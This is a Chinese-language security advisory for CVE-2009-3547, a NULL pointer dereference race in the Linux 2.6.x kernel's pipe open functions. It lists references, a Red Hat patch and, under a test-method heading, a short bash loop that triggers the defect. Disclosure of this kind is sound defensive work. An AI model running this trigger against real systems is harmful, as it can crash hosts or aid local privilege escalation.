发布日期:2009-11-03
更新日期:2009-11-04
受影响系统:
Linux kernel 2.6.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 36901
CVE ID: CVE-2009-3547
Linux Kernel是开放源码操作系统Linux所使用的内核。
Linux Kernel的pipe.c文件中的pipe_read_open()、pipe_write_open()和pipe_rdwr_open()函数存在空指针引用漏洞。在没有保持互斥锁的时候,其他进程可能在没有更新管道的读写计数器之前便释放i_pipe指针,这可能导致本地拒绝服务或权限提升。
<*来源:Earl Chew
链接:https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=530490
https://www.redhat.com/support/errata/RHSA-2009-1550.html
https://www.redhat.com/support/errata/RHSA-2009-1548.html
https://www.redhat.com/support/errata/RHSA-2009-1541.html
https://www.redhat.com/support/errata/RHSA-2009-1540.html
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 # Trigger defect
done
建议:
--------------------------------------------------------------------------------
厂商补丁:
RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2009:1540-01)以及相应补丁:
RHSA-2009:1540-01:Important: kernel-rt security, bug fix, and enhancement update
链接:https://www.redhat.com/support/errata/RHSA-2009-1540.html